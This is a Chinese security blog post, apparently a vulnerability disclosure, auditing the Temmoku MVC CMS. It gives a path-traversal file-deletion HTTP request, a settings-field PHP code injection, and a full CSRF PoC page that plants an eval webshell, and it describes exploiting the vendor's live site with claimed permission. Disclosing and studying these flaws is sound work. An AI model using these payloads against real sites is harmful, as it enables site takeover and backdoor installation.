审计|通读审计之天目MVC(附原创漏洞)下篇

admin 2021年10月27日03:40:50评论135 views字数 2597阅读8分39秒阅读模式


本篇文章由团队成员提供:HeiHu577

本文章已在FreeBuf发表




目录:

审计|通读审计之天目MVC(附原创漏洞)下篇



由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


RedCode Team 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



0x06 前台任意文件删除漏洞(可重装整站)

我们从了解框架整个结构时,发现检查验证是通过判断app/conf/install.lock来使网站是否安装的,如果存在任意文件删除漏洞,那么攻击者即可直接将目标点网站重装。

而删除文件的函数为unlink()函数,我们全局搜索一下,看一下前台哪些地方调用了unlink函数。

审计|通读审计之天目MVC(附原创漏洞)下篇

我们看到该成员方法有形式参数,那么我们在本类看一下哪里调用了img_move方法

审计|通读审计之天目MVC(附原创漏洞)下篇

直接将$_POST['idcard_zheng']传入进来,下面我们回来img_move方法看一下程序有没有做过滤之类的。

审计|通读审计之天目MVC(附原创漏洞)下篇

使用strpos以及stristr进行验证是否在tmp目录下,strpos函数返回字符串的位置,stristr返回/tmp的剩余部分,我们可以这样构造进行绕过:idcard_zheng=tmp/../../app/conf/install.lock

构造HTTP请求包:

POST /?temmoku_dirs=user/renzheng/index&type=idcard HTTP/1.1Host: www.temmoku.comContent-Type: application/x-www-form-urlencodedCookie:用户的COOKIEConnection: closeContent-Length: 48
step=post&_type=1&idcard_zheng=tmp/../../app/conf/install.lock

运行结果:

审计|通读审计之天目MVC(附原创漏洞)下篇

再次请求index.php

审计|通读审计之天目MVC(附原创漏洞)下篇

成功进入安装向导

0x07 双引号解析漏洞导致的后台GETSHELL

我们之前了解MVC框架时,有了解到/app/conf/文件夹下的所有内容都会被包含,笔者在这里简单翻了翻看到./app/conf/setting.php文件中以双引号保存值

审计|通读审计之天目MVC(附原创漏洞)下篇

这些配置可以从后台进行配置。

在?temmoku_dirs=/admin/setting/article中我们可以看到配置项。

审计|通读审计之天目MVC(附原创漏洞)下篇

我们将它改为attachment${@phpinfo()},如图:

审计|通读审计之天目MVC(附原创漏洞)下篇

Phpinfo:

审计|通读审计之天目MVC(附原创漏洞)下篇

Phpinfo成功被双引号所解析。

0x08 CSRF钓鱼管理员直接GETSHELL

因为双引号解析漏洞在后台,同时只需要一个简单带有管理员COOKIE的HTTP请求就可以完成攻击演练。我们当然不想让它这么鸡肋的活着,同时我们在了解框架时,整个框架没有对CSRF进行防护。那么我们可以由此漏洞搭配CSRF来使漏洞更加易于利用。

笔者编写了如下POC进行测试:

<?php$url = 'http://192.168.1.6/';?><!DOCTYPE html><html><head>  <title></title></head><body>  <form action="<?php echo $url;?>/index.php?temmoku_dirs=/admin/setting/article" method="post" id="form">    <input type="hidden" name="web[articletimedir]" value="Y/m/d/">    <input type="hidden" name="web[articledirclass]" value="1">    <input type="hidden" name="web[function_m]" value="1">    <input type="hidden" name="web[upfiles_catalog]" value="attachment${@eval($_POST[c])}">    <input type="hidden" name="web[images_get_down]" value="1">    <input type="hidden" name="web[content_del_link]" value="1">    <input type="hidden" name="web[content_link_white_list]" value="">    <input type="hidden" name="step" value="post">  </form>  <script type="text/javascript">    var oForm = document.getElementById('form');    oForm.submit();    window.location = "<?php echo $url;?>";</script></body></html>

放置在攻击者的WEB服务器上,在第二行可以定义目标站点,然后构造URL使管理员点击。

当管理员在后台登录的状态下打开即可直接修改setting.php文件,将${@eval($_POST[c])写入文件中,攻击者可以连接index.php密码c进行管理webshell。

0x09 官网检测

代码审计完成后笔者发现官网就是使用的该系统,并开启了用户注册功能。联系上站长得到授权后笔者将漏洞详情写到本篇文章中进行分享。(现官网已修复)

审计|通读审计之天目MVC(附原创漏洞)下篇

我们代码审计过程中有挖掘到只需要前台正常用户权限就可以进行SQL注入的漏洞。笔者在官网中发现开启DEBUG模式,我们进行报错注入,看一下是否可以注入user()函数的信息。

审计|通读审计之天目MVC(附原创漏洞)下篇

读取后台账户密码进入后台

审计|通读审计之天目MVC(附原创漏洞)下篇

进入后台后:

审计|通读审计之天目MVC(附原创漏洞)下篇

使用我们后台的getshell方法

审计|通读审计之天目MVC(附原创漏洞)下篇

Getshell:

0x10 其他GETSHELL点

白盒审计虽然比较系统化,但与黑盒进行搭配才可以达到最完美的效果。

比如我们在后台随便浏览一下,如图:

审计|通读审计之天目MVC(附原创漏洞)下篇

我们就可以非常轻松的访问每个功能模块,对其fuzz的同时再次进行代码审计,可以达到出乎意料的效率。



一个专注更新代码审计,渗透测试技巧的公众号~
如果你通过本文学到新的知识了那么不妨转发到朋友圈让更多人学到~




原文始发于微信公众号(RedCode Team):审计|通读审计之天目MVC(附原创漏洞)下篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日03:40:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   审计|通读审计之天目MVC(附原创漏洞)下篇http://cn-sec.com/archives/598973.html

发表评论

匿名网友 填写信息